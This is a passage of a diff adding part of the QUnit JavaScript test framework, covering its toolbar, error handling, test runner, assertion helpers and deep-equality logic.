+		addEvents( urlConfigContainer.getElementsByTagName("select"), "change", function( event ) {
+			var params = {},
+				target = event.target || event.srcElement;
+			params[ target.name ] = target.options[ target.selectedIndex ].value || undefined;
+			window.location = QUnit.url( params );
+		});
+		toolbar.appendChild( urlConfigContainer );
+
+		if (numModules > 1) {
+			moduleFilter = document.createElement( "span" );
+			moduleFilter.setAttribute( "id", "qunit-modulefilter-container" );
+			moduleFilter.innerHTML = moduleFilterHtml;
+			addEvent( moduleFilter.lastChild, "change", function() {
+				var selectBox = moduleFilter.getElementsByTagName("select")[0],
+					selectedModule = decodeURIComponent(selectBox.options[selectBox.selectedIndex].value);
+
+				window.location = QUnit.url({
+					module: ( selectedModule === "" ) ? undefined : selectedModule,
+					// Remove any existing filters
+					filter: undefined,
+					testNumber: undefined
+				});
+			});
+			toolbar.appendChild(moduleFilter);
+		}
+	}
+
+	// `main` initialized at top of scope
+	main = id( "qunit-fixture" );
+	if ( main ) {
+		config.fixture = main.innerHTML;
+	}
+
+	if ( config.autostart ) {
+		QUnit.start();
+	}
+};
+
+if ( defined.document ) {
+	addEvent( window, "load", QUnit.load );
+}
+
+// `onErrorFnPrev` initialized at top of scope
+// Preserve other handlers
+onErrorFnPrev = window.onerror;
+
+// Cover uncaught exceptions
+// Returning true will suppress the default browser handler,
+// returning false will let it run.
+window.onerror = function ( error, filePath, linerNr ) {
+	var ret = false;
+	if ( onErrorFnPrev ) {
+		ret = onErrorFnPrev( error, filePath, linerNr );
+	}
+
+	// Treat return value as window.onerror itself does,
+	// Only do our handling if not suppressed.
+	if ( ret !== true ) {
+		if ( QUnit.config.current ) {
+			if ( QUnit.config.current.ignoreGlobalErrors ) {
+				return true;
+			}
+			QUnit.pushFailure( error, filePath + ":" + linerNr );
+		} else {
+			QUnit.test( "global failure", extend( function() {
+				QUnit.pushFailure( error, filePath + ":" + linerNr );
+			}, { validTest: validTest } ) );
+		}
+		return false;
+	}
+
+	return ret;
+};
+
+function done() {
+	config.autorun = true;
+
+	// Log the last module results
+	if ( config.previousModule ) {
+		runLoggingCallbacks( "moduleDone", QUnit, {
+			name: config.previousModule,
+			failed: config.moduleStats.bad,
+			passed: config.moduleStats.all - config.moduleStats.bad,
+			total: config.moduleStats.all
+		});
+	}
+	delete config.previousModule;
+
+	var i, key,
+		banner = id( "qunit-banner" ),
+		tests = id( "qunit-tests" ),
+		runtime = +new Date() - config.started,
+		passed = config.stats.all - config.stats.bad,
+		html = [
+			"Tests completed in ",
+			runtime,
+			" milliseconds.<br/>",
+			"<span class='passed'>",
+			passed,
+			"</span> assertions of <span class='total'>",
+			config.stats.all,
+			"</span> passed, <span class='failed'>",
+			config.stats.bad,
+			"</span> failed."
+		].join( "" );
+
+	if ( banner ) {
+		banner.className = ( config.stats.bad ? "qunit-fail" : "qunit-pass" );
+	}
+
+	if ( tests ) {
+		id( "qunit-testresult" ).innerHTML = html;
+	}
+
+	if ( config.altertitle && defined.document && document.title ) {
+		// show ✖ for good, ✔ for bad suite result in title
+		// use escape sequences in case file gets loaded with non-utf-8-charset
+		document.title = [
+			( config.stats.bad ? "\u2716" : "\u2714" ),
+			document.title.replace( /^[\u2714\u2716] /i, "" )
+		].join( " " );
+	}
+
+	// clear own sessionStorage items if all tests passed
+	if ( config.reorder && defined.sessionStorage && config.stats.bad === 0 ) {
+		// `key` & `i` initialized at top of scope
+		for ( i = 0; i < sessionStorage.length; i++ ) {
+			key = sessionStorage.key( i++ );
+			if ( key.indexOf( "qunit-test-" ) === 0 ) {
+				sessionStorage.removeItem( key );
+			}
+		}
+	}
+
+	// scroll back to top to show results
+	if ( config.scrolltop && window.scrollTo ) {
+		window.scrollTo(0, 0);
+	}
+
+	runLoggingCallbacks( "done", QUnit, {
+		failed: config.stats.bad,
+		passed: passed,
+		total: config.stats.all,
+		runtime: runtime
+	});
+}
+
+/** @return Boolean: true if this test should be ran */
+function validTest( test ) {
+	var include,
+		filter = config.filter && config.filter.toLowerCase(),
+		module = config.module && config.module.toLowerCase(),
+		fullName = ( test.module + ": " + test.testName ).toLowerCase();
+
+	// Internally-generated tests are always valid
+	if ( test.callback && test.callback.validTest === validTest ) {
+		delete test.callback.validTest;
+		return true;
+	}
+
+	if ( config.testNumber.length > 0 ) {
+		if ( inArray( test.testNumber, config.testNumber ) < 0 ) {
+			return false;
+		}
+	}
+
+	if ( module && ( !test.module || test.module.toLowerCase() !== module ) ) {
+		return false;
+	}
+
+	if ( !filter ) {
+		return true;
+	}
+
+	include = filter.charAt( 0 ) !== "!";
+	if ( !include ) {
+		filter = filter.slice( 1 );
+	}
+
+	// If the filter matches, we need to honour include
+	if ( fullName.indexOf( filter ) !== -1 ) {
+		return include;
+	}
+
+	// Otherwise, do the opposite
+	return !include;
+}
+
+// so far supports only Firefox, Chrome and Opera (buggy), Safari (for real exceptions)
+// Later Safari and IE10 are supposed to support error.stack as well
+// See also https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Error/Stack
+function extractStacktrace( e, offset ) {
+	offset = offset === undefined ? 3 : offset;
+
+	var stack, include, i;
+
+	if ( e.stacktrace ) {
+		// Opera
+		return e.stacktrace.split( "\n" )[ offset + 3 ];
+	} else if ( e.stack ) {
+		// Firefox, Chrome
+		stack = e.stack.split( "\n" );
+		if (/^error$/i.test( stack[0] ) ) {
+			stack.shift();
+		}
+		if ( fileName ) {
+			include = [];
+			for ( i = offset; i < stack.length; i++ ) {
+				if ( stack[ i ].indexOf( fileName ) !== -1 ) {
+					break;
+				}
+				include.push( stack[ i ] );
+			}
+			if ( include.length ) {
+				return include.join( "\n" );
+			}
+		}
+		return stack[ offset ];
+	} else if ( e.sourceURL ) {
+		// Safari, PhantomJS
+		// hopefully one day Safari provides actual stacktraces
+		// exclude useless self-reference for generated Error objects
+		if ( /qunit.js$/.test( e.sourceURL ) ) {
+			return;
+		}
+		// for actual exceptions, this is useful
+		return e.sourceURL + ":" + e.line;
+	}
+}
+function sourceFromStacktrace( offset ) {
+	try {
+		throw new Error();
+	} catch ( e ) {
+		return extractStacktrace( e, offset );
+	}
+}
+
+/**
+ * Escape text for attribute or text content.
+ */
+function escapeText( s ) {
+	if ( !s ) {
+		return "";
+	}
+	s = s + "";
+	// Both single quotes and double quotes (for attributes)
+	return s.replace( /['"<>&]/g, function( s ) {
+		switch( s ) {
+			case "'":
+				return "&#039;";
+			case "\"":
+				return "&quot;";
+			case "<":
+				return "&lt;";
+			case ">":
+				return "&gt;";
+			case "&":
+				return "&amp;";
+		}
+	});
+}
+
+function synchronize( callback, last ) {
+	config.queue.push( callback );
+
+	if ( config.autorun && !config.blocking ) {
+		process( last );
+	}
+}
+
+function process( last ) {
+	function next() {
+		process( last );
+	}
+	var start = new Date().getTime();
+	config.depth = config.depth ? config.depth + 1 : 1;
+
+	while ( config.queue.length && !config.blocking ) {
+		if ( !defined.setTimeout || config.updateRate <= 0 || ( ( new Date().getTime() - start ) < config.updateRate ) ) {
+			config.queue.shift()();
+		} else {
+			setTimeout( next, 13 );
+			break;
+		}
+	}
+	config.depth--;
+	if ( last && !config.blocking && !config.queue.length && config.depth === 0 ) {
+		done();
+	}
+}
+
+function saveGlobal() {
+	config.pollution = [];
+
+	if ( config.noglobals ) {
+		for ( var key in window ) {
+			if ( hasOwn.call( window, key ) ) {
+				// in Opera sometimes DOM element ids show up here, ignore them
+				if ( /^qunit-test-output/.test( key ) ) {
+					continue;
+				}
+				config.pollution.push( key );
+			}
+		}
+	}
+}
+
+function checkPollution() {
+	var newGlobals,
+		deletedGlobals,
+		old = config.pollution;
+
+	saveGlobal();
+
+	newGlobals = diff( config.pollution, old );
+	if ( newGlobals.length > 0 ) {
+		QUnit.pushFailure( "Introduced global variable(s): " + newGlobals.join(", ") );
+	}
+
+	deletedGlobals = diff( old, config.pollution );
+	if ( deletedGlobals.length > 0 ) {
+		QUnit.pushFailure( "Deleted global variable(s): " + deletedGlobals.join(", ") );
+	}
+}
+
+// returns a new Array with the elements that are in a but not in b
+function diff( a, b ) {
+	var i, j,
+		result = a.slice();
+
+	for ( i = 0; i < result.length; i++ ) {
+		for ( j = 0; j < b.length; j++ ) {
+			if ( result[i] === b[j] ) {
+				result.splice( i, 1 );
+				i--;
+				break;
+			}
+		}
+	}
+	return result;
+}
+
+function extend( a, b ) {
+	for ( var prop in b ) {
+		if ( hasOwn.call( b, prop ) ) {
+			// Avoid "Member not found" error in IE8 caused by messing with window.constructor
+			if ( !( prop === "constructor" && a === window ) ) {
+				if ( b[ prop ] === undefined ) {
+					delete a[ prop ];
+				} else {
+					a[ prop ] = b[ prop ];
+				}
+			}
+		}
+	}
+
+	return a;
+}
+
+/**
+ * @param {HTMLElement} elem
+ * @param {string} type
+ * @param {Function} fn
+ */
+function addEvent( elem, type, fn ) {
+	if ( elem.addEventListener ) {
+
+		// Standards-based browsers
+		elem.addEventListener( type, fn, false );
+	} else if ( elem.attachEvent ) {
+
+		// support: IE <9
+		elem.attachEvent( "on" + type, fn );
+	} else {
+
+		// Caller must ensure support for event listeners is present
+		throw new Error( "addEvent() was called in a context without event listener support" );
+	}
+}
+
+/**
+ * @param {Array|NodeList} elems
+ * @param {string} type
+ * @param {Function} fn
+ */
+function addEvents( elems, type, fn ) {
+	var i = elems.length;
+	while ( i-- ) {
+		addEvent( elems[i], type, fn );
+	}
+}
+
+function hasClass( elem, name ) {
+	return (" " + elem.className + " ").indexOf(" " + name + " ") > -1;
+}
+
+function addClass( elem, name ) {
+	if ( !hasClass( elem, name ) ) {
+		elem.className += (elem.className ? " " : "") + name;
+	}
+}
+
+function removeClass( elem, name ) {
+	var set = " " + elem.className + " ";
+	// Class name may appear multiple times
+	while ( set.indexOf(" " + name + " ") > -1 ) {
+		set = set.replace(" " + name + " " , " ");
+	}
+	// If possible, trim it for prettiness, but not necessarily
+	elem.className = typeof set.trim === "function" ? set.trim() : set.replace(/^\s+|\s+$/g, "");
+}
+
+function id( name ) {
+	return defined.document && document.getElementById && document.getElementById( name );
+}
+
+function registerLoggingCallback( key ) {
+	return function( callback ) {
+		config[key].push( callback );
+	};
+}
+
+// Supports deprecated method of completely overwriting logging callbacks
+function runLoggingCallbacks( key, scope, args ) {
+	var i, callbacks;
+	if ( QUnit.hasOwnProperty( key ) ) {
+		QUnit[ key ].call(scope, args );
+	} else {
+		callbacks = config[ key ];
+		for ( i = 0; i < callbacks.length; i++ ) {
+			callbacks[ i ].call( scope, args );
+		}
+	}
+}
+
+// from jquery.js
+function inArray( elem, array ) {
+	if ( array.indexOf ) {
+		return array.indexOf( elem );
+	}
+
+	for ( var i = 0, length = array.length; i < length; i++ ) {
+		if ( array[ i ] === elem ) {
+			return i;
+		}
+	}
+
+	return -1;
+}
+
+function Test( settings ) {
+	extend( this, settings );
+	this.assertions = [];
+	this.testNumber = ++Test.count;
+}
+
+Test.count = 0;
+
+Test.prototype = {
+	init: function() {
+		var a, b, li,
+			tests = id( "qunit-tests" );
+
+		if ( tests ) {
+			b = document.createElement( "strong" );
+			b.innerHTML = this.nameHtml;
+
+			// `a` initialized at top of scope
+			a = document.createElement( "a" );
+			a.innerHTML = "Rerun";
+			a.href = QUnit.url({ testNumber: this.testNumber });
+
+			li = document.createElement( "li" );
+			li.appendChild( b );
+			li.appendChild( a );
+			li.className = "running";
+			li.id = this.id = "qunit-test-output" + testId++;
+
+			tests.appendChild( li );
+		}
+	},
+	setup: function() {
+		if (
+			// Emit moduleStart when we're switching from one module to another
+			this.module !== config.previousModule ||
+				// They could be equal (both undefined) but if the previousModule property doesn't
+				// yet exist it means this is the first test in a suite that isn't wrapped in a
+				// module, in which case we'll just emit a moduleStart event for 'undefined'.
+				// Without this, reporters can get testStart before moduleStart  which is a problem.
+				!hasOwn.call( config, "previousModule" )
+		) {
+			if ( hasOwn.call( config, "previousModule" ) ) {
+				runLoggingCallbacks( "moduleDone", QUnit, {
+					name: config.previousModule,
+					failed: config.moduleStats.bad,
+					passed: config.moduleStats.all - config.moduleStats.bad,
+					total: config.moduleStats.all
+				});
+			}
+			config.previousModule = this.module;
+			config.moduleStats = { all: 0, bad: 0 };
+			runLoggingCallbacks( "moduleStart", QUnit, {
+				name: this.module
+			});
+		}
+
+		config.current = this;
+
+		this.testEnvironment = extend({
+			setup: function() {},
+			teardown: function() {}
+		}, this.moduleTestEnvironment );
+
+		this.started = +new Date();
+		runLoggingCallbacks( "testStart", QUnit, {
+			name: this.testName,
+			module: this.module
+		});
+
+		/*jshint camelcase:false */
+
+
+		/**
+		 * Expose the current test environment.
+		 *
+		 * @deprecated since 1.12.0: Use QUnit.config.current.testEnvironment instead.
+		 */
+		QUnit.current_testEnvironment = this.testEnvironment;
+
+		/*jshint camelcase:true */
+
+		if ( !config.pollution ) {
+			saveGlobal();
+		}
+		if ( config.notrycatch ) {
+			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
+			return;
+		}
+		try {
+			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
+		} catch( e ) {
+			QUnit.pushFailure( "Setup failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
+		}
+	},
+	run: function() {
+		config.current = this;
+
+		var running = id( "qunit-testresult" );
+
+		if ( running ) {
+			running.innerHTML = "Running: <br/>" + this.nameHtml;
+		}
+
+		if ( this.async ) {
+			QUnit.stop();
+		}
+
+		this.callbackStarted = +new Date();
+
+		if ( config.notrycatch ) {
+			this.callback.call( this.testEnvironment, QUnit.assert );
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+			return;
+		}
+
+		try {
+			this.callback.call( this.testEnvironment, QUnit.assert );
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+		} catch( e ) {
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+
+			QUnit.pushFailure( "Died on test #" + (this.assertions.length + 1) + " " + this.stack + ": " + ( e.message || e ), extractStacktrace( e, 0 ) );
+			// else next test will carry the responsibility
+			saveGlobal();
+
+			// Restart the tests if they're blocking
+			if ( config.blocking ) {
+				QUnit.start();
+			}
+		}
+	},
+	teardown: function() {
+		config.current = this;
+		if ( config.notrycatch ) {
+			if ( typeof this.callbackRuntime === "undefined" ) {
+				this.callbackRuntime = +new Date() - this.callbackStarted;
+			}
+			this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
+			return;
+		} else {
+			try {
+				this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
+			} catch( e ) {
+				QUnit.pushFailure( "Teardown failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
+			}
+		}
+		checkPollution();
+	},
+	finish: function() {
+		config.current = this;
+		if ( config.requireExpects && this.expected === null ) {
+			QUnit.pushFailure( "Expected number of assertions to be defined, but expect() was not called.", this.stack );
+		} else if ( this.expected !== null && this.expected !== this.assertions.length ) {
+			QUnit.pushFailure( "Expected " + this.expected + " assertions, but " + this.assertions.length + " were run", this.stack );
+		} else if ( this.expected === null && !this.assertions.length ) {
+			QUnit.pushFailure( "Expected at least one assertion, but none were run - call expect(0) to accept zero assertions.", this.stack );
+		}
+
+		var i, assertion, a, b, time, li, ol,
+			test = this,
+			good = 0,
+			bad = 0,
+			tests = id( "qunit-tests" );
+
+		this.runtime = +new Date() - this.started;
+		config.stats.all += this.assertions.length;
+		config.moduleStats.all += this.assertions.length;
+
+		if ( tests ) {
+			ol = document.createElement( "ol" );
+			ol.className = "qunit-assert-list";
+
+			for ( i = 0; i < this.assertions.length; i++ ) {
+				assertion = this.assertions[i];
+
+				li = document.createElement( "li" );
+				li.className = assertion.result ? "pass" : "fail";
+				li.innerHTML = assertion.message || ( assertion.result ? "okay" : "failed" );
+				ol.appendChild( li );
+
+				if ( assertion.result ) {
+					good++;
+				} else {
+					bad++;
+					config.stats.bad++;
+					config.moduleStats.bad++;
+				}
+			}
+
+			// store result when possible
+			if ( QUnit.config.reorder && defined.sessionStorage ) {
+				if ( bad ) {
+					sessionStorage.setItem( "qunit-test-" + this.module + "-" + this.testName, bad );
+				} else {
+					sessionStorage.removeItem( "qunit-test-" + this.module + "-" + this.testName );
+				}
+			}
+
+			if ( bad === 0 ) {
+				addClass( ol, "qunit-collapsed" );
+			}
+
+			// `b` initialized at top of scope
+			b = document.createElement( "strong" );
+			b.innerHTML = this.nameHtml + " <b class='counts'>(<b class='failed'>" + bad + "</b>, <b class='passed'>" + good + "</b>, " + this.assertions.length + ")</b>";
+
+			addEvent(b, "click", function() {
+				var next = b.parentNode.lastChild,
+					collapsed = hasClass( next, "qunit-collapsed" );
+				( collapsed ? removeClass : addClass )( next, "qunit-collapsed" );
+			});
+
+			addEvent(b, "dblclick", function( e ) {
+				var target = e && e.target ? e.target : window.event.srcElement;
+				if ( target.nodeName.toLowerCase() === "span" || target.nodeName.toLowerCase() === "b" ) {
+					target = target.parentNode;
+				}
+				if ( window.location && target.nodeName.toLowerCase() === "strong" ) {
+					window.location = QUnit.url({ testNumber: test.testNumber });
+				}
+			});
+
+			// `time` initialized at top of scope
+			time = document.createElement( "span" );
+			time.className = "runtime";
+			time.innerHTML = this.runtime + " ms";
+
+			// `li` initialized at top of scope
+			li = id( this.id );
+			li.className = bad ? "fail" : "pass";
+			li.removeChild( li.firstChild );
+			a = li.firstChild;
+			li.appendChild( b );
+			li.appendChild( a );
+			li.appendChild( time );
+			li.appendChild( ol );
+
+		} else {
+			for ( i = 0; i < this.assertions.length; i++ ) {
+				if ( !this.assertions[i].result ) {
+					bad++;
+					config.stats.bad++;
+					config.moduleStats.bad++;
+				}
+			}
+		}
+
+		runLoggingCallbacks( "testDone", QUnit, {
+			name: this.testName,
+			module: this.module,
+			failed: bad,
+			passed: this.assertions.length - bad,
+			total: this.assertions.length,
+			runtime: this.runtime,
+			// DEPRECATED: this property will be removed in 2.0.0, use runtime instead
+			duration: this.runtime
+		});
+
+		QUnit.reset();
+
+		config.current = undefined;
+	},
+
+	queue: function() {
+		var bad,
+			test = this;
+
+		synchronize(function() {
+			test.init();
+		});
+		function run() {
+			// each of these can by async
+			synchronize(function() {
+				test.setup();
+			});
+			synchronize(function() {
+				test.run();
+			});
+			synchronize(function() {
+				test.teardown();
+			});
+			synchronize(function() {
+				test.finish();
+			});
+		}
+
+		// `bad` initialized at top of scope
+		// defer when previous test run passed, if storage is available
+		bad = QUnit.config.reorder && defined.sessionStorage &&
+						+sessionStorage.getItem( "qunit-test-" + this.module + "-" + this.testName );
+
+		if ( bad ) {
+			run();
+		} else {
+			synchronize( run, true );
+		}
+	}
+};
+
+// `assert` initialized at top of scope
+// Assert helpers
+// All of these must either call QUnit.push() or manually do:
+// - runLoggingCallbacks( "log", .. );
+// - config.current.assertions.push({ .. });
+assert = QUnit.assert = {
+	/**
+	 * Asserts rough true-ish result.
+	 * @name ok
+	 * @function
+	 * @example ok( "asdfasdf".length > 5, "There must be at least 5 chars" );
+	 */
+	ok: function( result, msg ) {
+		if ( !config.current ) {
+			throw new Error( "ok() assertion outside test context, was " + sourceFromStacktrace(2) );
+		}
+		result = !!result;
+		msg = msg || ( result ? "okay" : "failed" );
+
+		var source,
+			details = {
+				module: config.current.module,
+				name: config.current.testName,
+				result: result,
+				message: msg
+			};
+
+		msg = "<span class='test-message'>" + escapeText( msg ) + "</span>";
+
+		if ( !result ) {
+			source = sourceFromStacktrace( 2 );
+			if ( source ) {
+				details.source = source;
+				msg += "<table><tr class='test-source'><th>Source: </th><td><pre>" +
+					escapeText( source ) +
+					"</pre></td></tr></table>";
+			}
+		}
+		runLoggingCallbacks( "log", QUnit, details );
+		config.current.assertions.push({
+			result: result,
+			message: msg
+		});
+	},
+
+	/**
+	 * Assert that the first two arguments are equal, with an optional message.
+	 * Prints out both actual and expected values.
+	 * @name equal
+	 * @function
+	 * @example equal( format( "Received {0} bytes.", 2), "Received 2 bytes.", "format() replaces {0} with next argument" );
+	 */
+	equal: function( actual, expected, message ) {
+		/*jshint eqeqeq:false */
+		QUnit.push( expected == actual, actual, expected, message );
+	},
+
+	/**
+	 * @name notEqual
+	 * @function
+	 */
+	notEqual: function( actual, expected, message ) {
+		/*jshint eqeqeq:false */
+		QUnit.push( expected != actual, actual, expected, message );
+	},
+
+	/**
+	 * @name propEqual
+	 * @function
+	 */
+	propEqual: function( actual, expected, message ) {
+		actual = objectValues(actual);
+		expected = objectValues(expected);
+		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name notPropEqual
+	 * @function
+	 */
+	notPropEqual: function( actual, expected, message ) {
+		actual = objectValues(actual);
+		expected = objectValues(expected);
+		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name deepEqual
+	 * @function
+	 */
+	deepEqual: function( actual, expected, message ) {
+		QUnit.push( QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name notDeepEqual
+	 * @function
+	 */
+	notDeepEqual: function( actual, expected, message ) {
+		QUnit.push( !QUnit.equiv(actual, expected), actual, expected, message );
+	},
+
+	/**
+	 * @name strictEqual
+	 * @function
+	 */
+	strictEqual: function( actual, expected, message ) {
+		QUnit.push( expected === actual, actual, expected, message );
+	},
+
+	/**
+	 * @name notStrictEqual
+	 * @function
+	 */
+	notStrictEqual: function( actual, expected, message ) {
+		QUnit.push( expected !== actual, actual, expected, message );
+	},
+
+	"throws": function( block, expected, message ) {
+		var actual,
+			expectedOutput = expected,
+			ok = false;
+
+		// 'expected' is optional
+		if ( !message && typeof expected === "string" ) {
+			message = expected;
+			expected = null;
+		}
+
+		config.current.ignoreGlobalErrors = true;
+		try {
+			block.call( config.current.testEnvironment );
+		} catch (e) {
+			actual = e;
+		}
+		config.current.ignoreGlobalErrors = false;
+
+		if ( actual ) {
+
+			// we don't want to validate thrown error
+			if ( !expected ) {
+				ok = true;
+				expectedOutput = null;
+
+			// expected is an Error object
+			} else if ( expected instanceof Error ) {
+				ok = actual instanceof Error &&
+					 actual.name === expected.name &&
+					 actual.message === expected.message;
+
+			// expected is a regexp
+			} else if ( QUnit.objectType( expected ) === "regexp" ) {
+				ok = expected.test( errorString( actual ) );
+
+			// expected is a string
+			} else if ( QUnit.objectType( expected ) === "string" ) {
+				ok = expected === errorString( actual );
+
+			// expected is a constructor
+			} else if ( actual instanceof expected ) {
+				ok = true;
+
+			// expected is a validation function which returns true is validation passed
+			} else if ( expected.call( {}, actual ) === true ) {
+				expectedOutput = null;
+				ok = true;
+			}
+
+			QUnit.push( ok, actual, expectedOutput, message );
+		} else {
+			QUnit.pushFailure( message, null, "No exception was thrown." );
+		}
+	}
+};
+
+/**
+ * @deprecated since 1.8.0
+ * Kept assertion helpers in root for backwards compatibility.
+ */
+extend( QUnit.constructor.prototype, assert );
+
+/**
+ * @deprecated since 1.9.0
+ * Kept to avoid TypeErrors for undefined methods.
+ */
+QUnit.constructor.prototype.raises = function() {
+	QUnit.push( false, false, false, "QUnit.raises has been deprecated since 2012 (fad3c1ea), use QUnit.throws instead" );
+};
+
+/**
+ * @deprecated since 1.0.0, replaced with error pushes since 1.3.0
+ * Kept to avoid TypeErrors for undefined methods.
+ */
+QUnit.constructor.prototype.equals = function() {
+	QUnit.push( false, false, false, "QUnit.equals has been deprecated since 2009 (e88049a0), use QUnit.equal instead" );
+};
+QUnit.constructor.prototype.same = function() {
+	QUnit.push( false, false, false, "QUnit.same has been deprecated since 2009 (e88049a0), use QUnit.deepEqual instead" );
+};
+
+// Test for equality any JavaScript type.
+// Author: Philippe Rathé <prathe@gmail.com>
+QUnit.equiv = (function() {
+
+	// Call the o related callback with the given arguments.
+	function bindCallbacks( o, callbacks, args ) {
+		var prop = QUnit.objectType( o );
+		if ( prop ) {
+			if ( QUnit.objectType( callbacks[ prop ] ) === "function" ) {
+				return callbacks[ prop ].apply( callbacks, args );
+			} else {
+				return callbacks[ prop ]; // or undefined
+			}
+		}
+	}
+
+	// the real equiv function
+	var innerEquiv,
+		// stack to decide between skip/abort functions
+		callers = [],
+		// stack to avoiding loops from circular referencing
+		parents = [],
+		parentsB = [],
+
+		getProto = Object.getPrototypeOf || function ( obj ) {
+			/*jshint camelcase:false */
+			return obj.__proto__;
+		},
+		callbacks = (function () {
+
+			// for string, boolean, number and null
+			function useStrictEquality( b, a ) {
+				/*jshint eqeqeq:false */
+				if ( b instanceof a.constructor || a instanceof b.constructor ) {
+					// to catch short annotation VS 'new' annotation of a
+					// declaration
+					// e.g. var i = 1;
+					// var j = new Number(1);
+					return a == b;
+				} else {
+					return a === b;
+				}
+			}
+
+			return {
+				"string": useStrictEquality,
+				"boolean": useStrictEquality,
+				"number": useStrictEquality,
+				"null": useStrictEquality,
+				"undefined": useStrictEquality,
+
+				"nan": function( b ) {
+					return isNaN( b );
+				},
+
+				"date": function( b, a ) {
+					return QUnit.objectType( b ) === "date" && a.valueOf() === b.valueOf();
+				},
+
+				"regexp": function( b, a ) {
+					return QUnit.objectType( b ) === "regexp" &&
+						// the regex itself
+						a.source === b.source &&
+						// and its modifiers
+						a.global === b.global &&
+						// (gmi) ...
+						a.ignoreCase === b.ignoreCase &&
+						a.multiline === b.multiline &&
+						a.sticky === b.sticky;
+				},
+
+				// - skip when the property is a method of an instance (OOP)
+				// - abort otherwise,
+				// initial === would have catch identical references anyway
+				"function": function() {
+					var caller = callers[callers.length - 1];
+					return caller !== Object && typeof caller !== "undefined";
+				},
+
+				"array": function( b, a ) {
+					var i, j, len, loop, aCircular, bCircular;
+
+					// b could be an object literal here
+					if ( QUnit.objectType( b ) !== "array" ) {
+						return false;
+					}
+
+					len = a.length;
+					if ( len !== b.length ) {
+						// safe and faster
+						return false;
+					}
+
+					// track reference to avoid circular references
+					parents.push( a );
+					parentsB.push( b );
+					for ( i = 0; i < len; i++ ) {
+						loop = false;
+						for ( j = 0; j < parents.length; j++ ) {
+							aCircular = parents[j] === a[i];
+							bCircular = parentsB[j] === b[i];
+							if ( aCircular || bCircular ) {
+								if ( a[i] === b[i] || aCircular && bCircular ) {
+									loop = true;
+								} else {
+									parents.pop();
+									parentsB.pop();
+									return false;
+								}
+							}
+						}
+						if ( !loop && !innerEquiv(a[i], b[i]) ) {
+							parents.pop();
+							parentsB.pop();
+							return false;
+						}
+					}
+					parents.pop();
+					parentsB.pop();
+					return true;
+				},
+
+				"object": function( b, a ) {
+					/*jshint forin:false */
+					var i, j, loop, aCircular, bCircular,
+						// Default to true
+						eq = true,
+						aProperties = [],
+						bProperties = [];
+
+					// comparing constructors is more strict than using
+					// instanceof
+					if ( a.constructor !== b.constructor ) {
+						// Allow objects with no prototype to be equivalent to
+						// objects with Object as their constructor.
+						if ( !(( getProto(a) === null && getProto(b) === Object.prototype ) ||
+							( getProto(b) === null && getProto(a) === Object.prototype ) ) ) {
+								return false;
+						}
+					}
+
+					// stack constructor before traversing properties
+					callers.push( a.constructor );
+
+					// track reference to avoid circular references
+					parents.push( a );
+					parentsB.push( b );
+
+					// be strict: don't ensure hasOwnProperty and go deep
+					for ( i in a ) {
+						loop = false;
+						for ( j = 0; j < parents.length; j++ ) {
+							aCircular = parents[j] === a[i];
+							bCircular = parentsB[j] === b[i];
+							if ( aCircular || bCircular ) {
+								if ( a[i] === b[i] || aCircular && bCircular ) {
+									loop = true;
+								} else {
+									eq = false;
+									break;
+								}
+							}
+						}
+						aProperties.push(i);
+						if ( !loop && !innerEquiv(a[i], b[i]) ) {
+							eq = false;
+							break;
+						}
+					}
+
+					parents.pop();
+					parentsB.pop();
+					callers.pop(); // unstack, we are done
+
+					for ( i in b ) {
+						bProperties.push( i ); // collect b's properties
+					}
+
+					// Ensures identical properties name
+					return eq && innerEquiv( aProperties.sort(), bProperties.sort() );
+				}
+			};
+		}());
+
+	innerEquiv = function() { // can take multiple arguments
+		var args = [].slice.apply( arguments );
+		if ( args.length < 2 ) {
+			return true; // end transition
+		}
+
+		return (function( a, b ) {
+			if ( a === b ) {
+				return true; // catch the most you can
+			} else if ( a === null || b === null || typeof a === "undefined" ||
+					typeof b === "undefined" ||
+					QUnit.objectType(a) !== QUnit.objectType(b) ) {
+				return false; // don't lose time with error prone cases
+			} else {
+				return bindCallbacks(a, callbacks, [ b, a ]);
+			}
+
+			// apply transition with (1..n) arguments
+		}( args[0], args[1] ) && innerEquiv.apply( this, args.splice(1, args.length - 1 )) );
+	};
+
+	return innerEquiv;
+}());
+
+/**
+ * jsDump Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com |
+ * http://flesler.blogspot.com Licensed under BSD
+ * (http://www.opensource.org/licenses/bsd-license.php) Date: 5/15/2008
+ *
+ * @projectDescription Advanced and extensible data dumping for Javascript.
+ * @version 1.0.0
+ * @author Ariel Flesler
+ * @link {http://flesler.blogspot.com/2008/05/jsdump-pretty-dump-of-any-javascript.html}
+ */
+QUnit.jsDump = (function() {
+	function quote( str ) {
+		return "\"" + str.toString().replace( /"/g, "\\\"" ) + "\"";
+	}
+	function literal( o ) {
+		return o + "";
+	}
+	function join( pre, arr, post ) {
+		var s = jsDump.separator(),
+			base = jsDump.indent(),
+			inner = jsDump.indent(1);
+		if ( arr.join ) {
+			arr = arr.join( "," + s + inner );
+		}
+		if ( !arr ) {
+			return pre + post;
+		}
+		return [ pre, inner + arr, base + post ].join(s);
+	}
+	function array( arr, stack ) {
+		var i = arr.length, ret = new Array(i);
+		this.up();
+		while ( i-- ) {
+			ret[i] = this.parse( arr[i] , undefined , stack);
+		}
+		this.down();
+		return join( "[", ret, "]" );
+	}
+
+	var reName = /^function (\w+)/,
+		jsDump = {
+			// type is used mostly internally, you can fix a (custom)type in advance
+			parse: function( obj, type, stack ) {
+				stack = stack || [ ];
+				var inStack, res,
+					parser = this.parsers[ type || this.typeOf(obj) ];
+
+				type = typeof parser;
+				inStack = inArray( obj, stack );
+
+				if ( inStack !== -1 ) {
